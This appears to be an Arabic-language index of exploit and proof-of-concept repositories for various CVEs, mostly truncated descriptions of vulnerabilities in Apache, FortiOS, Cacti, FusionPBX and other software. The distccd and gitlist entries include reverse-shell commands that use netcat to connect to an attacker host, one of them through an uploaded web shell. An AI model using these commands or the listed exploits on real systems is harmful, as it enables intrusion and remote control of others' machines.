CVE-2026-21955

CVE-2026-21955...

CVE-2023-21987-and-CVE-2023-21991

CVE-2023-21987-v-CVE-2023-21991...

CVE-2020-1472-visualizer

CVE-2020-1472 قارئ الأحداث v1.1 8/27/2020 سيقوم هذا السكربت بما يلي: 1. فحص سجلات evtx الخاصة بالنظام في مجلد ملفات الإدخال بحثًا عن الأحداث 5827 و5828 و5829 و5830 و5831، مع الحقول الدقيقة للبيانات، ثم تصديرها إلى 582-.CSV. 2. يستدعي Excel لاستيراد ملفات 582-.CSV الناتجة، وإنشاء جداول محورية...

CVE-2025-55182

CVE-2025-55182...

CVE-2018-13379

CVE-2018-13379 CVE-2018-13379 https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html https://fortiguard.com/psirt/FG-IR-18-384 كانت الإصدارات التالية من FortiOS عرضة للثغرة الأمنية. root@kitploit: FortiOS 5.6.3 to 5.6.7 FortiOS 6.0.0 to 6.0.4 ONLY if the SSL V...

cve-2021-42013L

cve-2021-42013 ثغرة اجتياز المسار في Apache 2.4.50 تابعنا يوتيوب تويتر تيليغرام Vulnmachines.com...

CVE-2021-41773m

CVE-2021-41773 🐛 ثغرة اجتياز المسار وكشف الملفات في Apache HTTP Server 2.4.49 تم اكتشاف خلل في تغيير أجري على تطبيع المسار path normalization في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها بواسطة توجيهات شبيهة بـ Alias. إذ...

CVE-2021-41773-PoC

CVE-2021-41773-PoC PoC لـ CVE-2021-41773 مع docker للتوضيح التشغيل فقط قم بتشغيل ./poc.sh. تأكد من أن لديك docker و docker-compose يعملان بشكل صحيح root@kitploit: $ ./poc.sh Creating network "cve-2021-41773-pocdefault" with the default driver Creating cve-2021-41773-pocweb1 ... done...

CVE-2021-38647

CVE-2021-38647 هذا هو إثبات المفهوم POC لـ CVE-2021-38647: أرسل طلب POST إلى /wsman مع محتوى payload.xml وقم فقط بتغيير الأمر إلى الأمر الذي تريده، كـ POC، يتم تنفيذ أمر id فقط. المصدر: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure تابعني إذا أردت:...

CVE-2022-21907-Vulnerability-PoC

CVE-2022-21907 الوصف - POC لـ CVE-2022-21907: ثغرة تنفيذ التعليمات البرمجية عن بعد في مكدس بروتوكول HTTP. - تم إنشاؤه بواسطة antx في 2022-01-17، مع بعض الإصلاحات الصغيرة بواسطة Michele "[email protected]" التفاصيل - ثغرة تنفيذ التعليمات البرمجية عن بعد في مكدس بروتوكول HTTP. - مشابهة لـ...

distccd_rce_CVE-2004-2687

هدف هذا النص البرمجي هو عدم استخدام Metasploit والقيام بذلك يدويًا. الاستخدام: root@kitploit: nc -lvnp 4466 تشغيل الاستغلال: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

writeup-CVE-2024-3094

writeup-CVE-2024-3094...

gitlist-RCE

gitlist-RCE CVE-2014-4511 مثال: بعد رفع الشيل بنجاح: الوصول: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

Apache-Tomcat-Vulnerability-POC-CVE-2025-24813

Apache-Tomcat-Vulnerability-POC-CVE-2025-24813 ثغرة Apache Tomcat POC CVE-2025-24813...

CVE-2022-22954-POC

CVE-2022-22954-POC تم تصميم VMware Workspace ONE Access المعروف سابقًا باسم VMware Identity Manager لتمكين موظفيك من الوصول بشكل أسرع إلى تطبيقات SaaS وتطبيقات الويب والتطبيقات الأصلية للجوال من خلال المصادقة متعددة العوامل والوصول الشرطي والدخول الموحد. نشر الموقع الرسمي لـ VMware مؤخرًا إعلانًا...

CVE-2025-44137

CVE-2025-44137 قراءة ملفات غير مصادق عليها في MapTiler Tileserver-php v2.0. الوصف MapTiler Tileserver-php v2.0 عرضة لثغرة اجتياز الدليل Directory Traversal. دالة renderTile داخل tileserver.php مسؤولة عن تسليم المربعات tiles المخزنة كملفات على الخادم عبر طلب ويب. إنشاء المسار إلى ملف يسمح باستخدام...

CVE-2025-44136

CVE-2025-44136 XSS غير مصادق عليه في MapTiler Tileserver-php v2.0. الوصف MapTiler Tileserver-php الإصدار 2.0 معرض لثغرة Cross Site Scripting XSS. يتم عكس معامل GET "layer" في رسالة خطأ بدون ترميز HTML. يؤدي ذلك إلى XSS ويسمح لمهاجم غير مصادق عليه بتنفيذ كود HTML أو JavaScript عشوائي على متصفح...

CVE-2024-11320

CVE-2024-11320 استغلال لتنفيذ التعليمات البرمجية عن بُعد في Pandora FMS CVE-2024-11320...

CVE-2020-8813

CVE-2020-8813 الاستغلال الرسمي لثغرة تنفيذ الأكواد عن بُعد في Cacti v1.2.8 CVE-2020-8813 تنفيذ الأكواد عن بُعد قبل المصادقة في Cacti v1.2.8 تنفيذ الأكواد عن بُعد بعد المصادقة في Cacti v1.2.8...

CVE-2019-15029

CVE-2019-15029 كود الاستغلال الرسمي لـ FusionPBX الإصدار 4.4.8 لثغرة تنفيذ الأوامر عن بُعد CVE-2019-15029 وحدة Metasploit لقد كتبت وحدة Metasploit بسيطة لاستغلال هذه الثغرة fusionpbxservices.rb، كل ما عليك فعله هو تحميلها ونسخها إلى دليل وحدات metasploit...